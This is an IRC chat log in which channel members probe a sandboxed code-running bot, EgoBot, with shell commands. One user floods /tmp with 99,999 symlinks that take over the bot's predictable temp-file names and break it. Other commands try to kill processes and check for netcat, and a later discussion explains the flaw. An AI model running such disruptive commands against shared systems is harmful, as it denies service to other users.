/tmp/foo143 /tmp/foo154 /tmp/foo165 /tmp/foo176 /tmp/foo187 /tmp/foo198 /tmp/foo209 /tmp/foo22 /tmp/foo220 /tmp/foo231 /tmp/foo242 /tmp/foo253 /tmp/foo264 /tmp/foo275 /tmp/foo286 /tmp/foo297 /tmp/foo308 /tmp/foo319 /tmp/foo33 /tmp/foo330 /tmp/foo341 /tmp/foo352 /tmp/foo363 /tmp/foo374 /tmp/foo385 /tmp/foo396 /tmp/foo407 /tmp/foo418 /tmp/foo429 /tmp/foo44 /tmp/foo440 /tmp/foo451 /tmp/foo < 1241392533 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/foo* | wc < 1241392534 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1241392535 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :67 67 786 < 1241392541 0 :bsmntbombdood!unknown@unknown.invalid PRIVMSG #esoteric :when i get a new computer i'll probably do something with this one < 1241392543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that's quite a few < 1241392552 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh du -shc /tmp/* | tail -n 1 < 1241392555 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/usr/bin/du: cannot read directory `/tmp/hsperfdata_egobot': Function not implemented < 1241392557 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :back < 1241392558 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh file /tmp/foo* < 1241392562 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh du -shc /tmp/foo* | tail -n 1 < 1241392570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh file /tmp/foo* | xargs echo < 1241392574 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh du -shc /tmp/foo* | tail -n 1 < 1241392575 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : what < 1241392580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh file /tmp/foo* | wc -l < 1241392584 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh file /tmp/foo* | wc < 1241392588 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!elp < 1241392589 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo hi < 1241392590 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241392590 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh test trigger udage01 underload unlambda whirl < 1241392593 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Let's see, with my credit, I could get... < 1241392603 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, fail < 1241392603 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^ < 1241392608 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1241392610 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :nice bot < 1241392613 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo hi < 1241392613 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1241392616 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1241392618 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :2,400 mini-servers. < 1241392620 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh du -shc /tmp/foo* | tail -n ` < 1241392621 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.16204: line 1: unexpected EOF while looking for matching ``' < 1241392622 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh du -shc /tmp/foo* | tail -n 1 < 1241392629 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh file /tmp/foo* | xargs echo < 1241392653 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh df -h < 1241392654 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/df: cannot read table of mounted file systems: No such file or directory < 1241392657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh file /tmp/foo* | xargs echo < 1241392661 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :stop it < 1241392661 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :comex, it is in a jail < 1241392664 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo hi < 1241392664 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1241392668 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh du -shc /tmp/foo* | tail -n 1 < 1241392669 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :2.3G total < 1241392671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh file /tmp/foo* | wc < 1241392681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/foo* | wc < 1241392685 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1241392689 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :did it PM you? < 1241392693 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh du -shc /tmp/foo* | tail -n 1 < 1241392693 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :2.7G total < 1241392695 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :A month later, the payment would run out, and then I'd have to make minimum payments on $12,000. < 1241392699 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1241392702 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is growing < 1241392704 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh du -shc /tmp/foo* | tail -n 1 < 1241392708 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :2.8G total < 1241392724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/foo0 < 1241392727 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/foo0 < 1241392740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls -l /tmp/foo0 | xargs echo < 1241392748 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: /tmp/foo0: Function not implemented < 1241392748 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1241392749 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh which nc netcat < 1241392751 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what < 1241392754 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that makes no sense < 1241392756 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/nc < 1241392770 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh killall bash; rm /dev/foo* < 1241392770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh rm -f /tmp/foo* < 1241392775 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :bash(8994): Operation not permitted < 1241392779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dev foo? < 1241392789 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :oopa < 1241392805 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :comex, anyway it runs in a jail as a non-privileged user < 1241392818 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh nc --help 2>&1 | md5sum < 1241392819 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1dc0f3f78fd02036a71a61f3e37975ab - < 1241392824 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :I think I'll continue pondering my cute little Freenet-like thing. < 1241392824 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh nc --help 2>&1 < 1241392824 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/nc: invalid option -- - < 1241392833 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh nc -h < 1241392833 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :[v1.10-38] < 1241392838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :comex, it blocks network < 1241392843 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :with iptables < 1241392852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-m owner < 1241392855 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :oh, I thought it was GregorR's bot < 1241392856 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh ping 127.0.0.1 < 1241392856 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :plash: warning: setuid/gid bit not honoured on `/bin/ping' < 1241392863 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :comex, it is < 1241392867 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just know a lot about it < 1241392885 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :heh, that's interesting < 1241392886 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh whoami < 1241392887 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/usr/bin/whoami: cannot find name for user ID 1266358 < 1241392890 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh whoami < 1241392890 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/usr/bin/whoami: cannot find name for user ID 1924550 < 1241392893 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :o_o < 1241392894 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :comex, since it was me who told him about -m owner < 1241392900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :owner match options: < 1241392900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[!] --uid-owner userid[-userid] Match local UID < 1241392900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[!] --gid-owner groupid[-groupid] Match local GID < 1241392900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[!] --socket-exists Match if socket exists < 1241392967 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print `whoami`; < 1241392968 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/usr/bin/whoami: cannot find name for user ID 1256859 < 1241392970 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print `whoami`; < 1241392971 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/usr/bin/whoami: cannot find name for user ID 1079595 < 1241392973 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ACTION wonders if someone could get UML in a single C file, so as to make EgoBot run a sub-Linux. :p < 1241392992 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this is very very very odd < 1241392999 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the scrollwheel on this mouse < 1241393007 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is leaking some kind of watery fluid. < 1241393010 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo $PWD < 1241393011 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241393012 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it's a few years old < 1241393015 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!sh iptables -L < 1241393015 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.24540: line 1: iptables: command not found < 1241393017 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :any clue about that < 1241393020 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh whoami --help < 1241393020 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Usage: /usr/bin/whoami [OPTION]... < 1241393033 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :kerlo, there is no such user < 1241393039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is randomly generated UID < 1241393049 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl echo $0 < 1241393049 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Can't call method "echo" without a package or object reference at /tmp/input.25845 line 1. < 1241393052 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print $0 < 1241393053 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.25994 < 1241393053 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is using phash or pash or something < 1241393053 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh id --help < 1241393054 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Usage: /usr/bin/id [OPTION]... [USERNAME] < 1241393064 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anywya < 1241393068 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway* < 1241393069 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo $PWD < 1241393069 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/home/egobot/egobot.hg/multibot_cmds < 1241393071 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!sh id 0 < 1241393075 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :any idea about my mouse issue < 1241393077 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ANYONE! < 1241393094 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh for i in {1..99999}; do ln -s /home/egobot/egobot.hg/foo /tmp/input.$i; done < 1241393102 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :I guess your mouse wheel contains the fluid that it is leaking, and it is leaking because the containment is no longer intact. < 1241393107 0 :olsner!unknown@unknown.invalid QUIT :"Leaving" < 1241393112 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/input.* | wc -l < 1241393113 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :515 < 1241393117 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/input.* | wc -l < 1241393118 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :642 < 1241393132 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/input.* | wc -l < 1241393133 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1041 < 1241393136 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print $0 < 1241393143 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print $0 < 1241393143 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.30491 < 1241393155 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!sh while true; do ls /tmp/input.* | wc -l; done < 1241393156 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1778 < 1241393162 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!kick ehird < 1241393174 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh kill `pgrep -f 'while true'` < 1241393174 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/tmp/input.31467: line 1: kill: (31026) - Operation not permitted < 1241393176 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :What's ehird doing now? < 1241393190 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the same thing comex did but more efficient < 1241393198 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :too bad only you get updates < 1241393198 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1241393214 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/input.* | wc -l < 1241393216 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :2748 < 1241393217 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :comex: complain to GregorR < 1241393259 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ANYONE‽ < 1241393273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : the scrollwheel on this mouse is leaking some kind of watery fluid. < 1241393277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyone have a clue about it < 1241393281 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :has* < 1241393284 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, maybe yiu < 1241393284 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :I guess not!? < 1241393286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you* < 1241393286 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1241393292 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: take apart mouse, inspect < 1241393295 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: turn the mouse upside down and leave it there. < 1241393296 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, did that < 1241393305 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :kerlo, it only leaks under preasure < 1241393308 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print $0 < 1241393308 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Can't open perl script "/tmp/input.2033": No such file or directory < 1241393311 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Then don't apply pressure. < 1241393317 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think I got a flat scroll wheel < 1241393317 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241393320 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :^ what kind of error is that < 1241393322 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print $0 < 1241393323 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Can't open perl script "/tmp/input.2655": No such file or directory < 1241393323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how the heck < 1241393331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :flat tyre I heard. < 1241393333 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print $0 < 1241393333 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heard of* < 1241393334 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Can't open perl script "/tmp/input.3137": No such file or directory < 1241393341 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but this is first time I heard of flat scroll wheel < 1241393343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!!! < 1241393344 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!perl print $0 < 1241393345 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Can't open perl script "/tmp/input.3640": No such file or directory < 1241393370 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :so, I guess the sandbox user is writing to /tmp/input.*; it's failing in this case < 1241393376 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: lawl < 1241393381 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/input.* | wc-l < 1241393381 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: /tmp/input.5161: No such file or directory < 1241393383 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls /tmp/input.* | wc -l < 1241393383 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: /tmp/input.5263: No such file or directory < 1241393386 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1241393393 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :I broke the world :p < 1241393415 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh ls < 1241393415 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: /tmp/input.6564: No such file or directory < 1241393419 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!sh pwd < 1241393419 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/bash: /tmp/input.6765: No such file or directory < 1241393422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :meh < 1241393426 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Cool. < 1241393427 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :do I get a prize? < 1241393427 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :comex, what did you dpo < 1241393429 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :do* < 1241393433 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no < 1241393455 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :comex, GregorR isn't around to fix it < 1241393456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241393457 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cintercal clcintercal cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor rot13 sadol sceql sh test trigger udage01 underload unlambda whirl < 1241393462 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!daemons < 1241393462 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Running daemons: accumulate < 1241393463 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!help kill < 1241393463 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :kill: !kill . Kill a running daemon. < 1241393477 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!c 42 < 1241393478 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /tmp/input.9150: No such file or directory < 1241393483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1241393484 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it broke < 1241393491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!befunge98 help < 1241393492 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :FATAL: Failed to process file "/tmp/input.9269": No such file or directory < 1241393495 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1241393506 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you managed to make it impossible to write files in /tmp < 1241393507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :somehow < 1241393518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :comex, care to tell me what the heck you did exactly < 1241393523 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :No, he filled it with broken symlinks. < 1241393529 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it was me < 1241393531 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ouch < 1241393535 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : !sh for i in {1..99999}; do ln -s /home/egobot/egobot.hg/foo /tmp/input.$i; done < 1241393535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I see < 1241393540 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's pretty clear. < 1241393543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241393544 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241393544 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1241393548 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so my checking just automated the checking < 1241393551 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :not grew it < 1241393551 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1241393569 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :!c 42 < 1241393569 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /tmp/input.9302: No such file or directory < 1241393577 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!asm a < 1241393577 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /tmp/input.9337: No such file or directory < 1241393578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can't get around it < 1241393582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you need to wait for GregorR < 1241393585 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and < 1241393590 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :he should use mkstemp < 1241393593 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :really < 1241393593 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :At this rate, we only need to fail about 60 more times. < 1241393598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no < 1241393604 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :kerlo, check the number of digits < 1241393610 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :1,000 more times. < 1241393619 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :The rate keeps changing. < 1241393619 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!c 42 < 1241393619 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /tmp/input.9370: No such file or directory < 1241393623 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!c 42 < 1241393623 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /tmp/input.9404: No such file or directory < 1241393625 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393625 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393626 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /tmp/input.9438: No such file or directory < 1241393626 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :99999 - 9337 < 1241393627 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393627 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /tmp/input.9501: No such file or directory < 1241393627 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :I think it's based on the time < 1241393629 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393631 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393631 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/cat: /tmp/input.9553: No such file or directory < 1241393633 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393634 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, 1,000 more times. < 1241393635 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393636 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :!c stfu < 1241393637 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393637 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :90662 < 1241393638 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :tiles < 1241393639 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!c a < 1241393640 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :times* < 1241393641 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :just doin' my bit < 1241393641 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sorry < 1241393642 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1241393642 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Personally I think it's the PID, and it wrap-arounds at 32k. < 1241393644 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, ^ < 1241393650 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :It's not increasing by one every time. < 1241393651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :kerlo, ^ < 1241393655 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241393657 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster, ^ < 1241393659 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, yes it is < 1241393662 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :^ < 1241393666 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :ehird: you fail it < 1241393667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^ ^ < 1241393668 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Based on the fact that it went up to 30491 and then wrapped to 2033. < 1241393668 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ^ ^ < 1241393670 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ^ ^ < 1241393671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ^ ^ < 1241393672 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ < 1241393676 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :^_^ < 1241393679 0 :kerlo!unknown@unknown.invalid PRIVMSG #esoteric :Don't get me started. < 1241393683 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/467093 < 1241393686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑ < 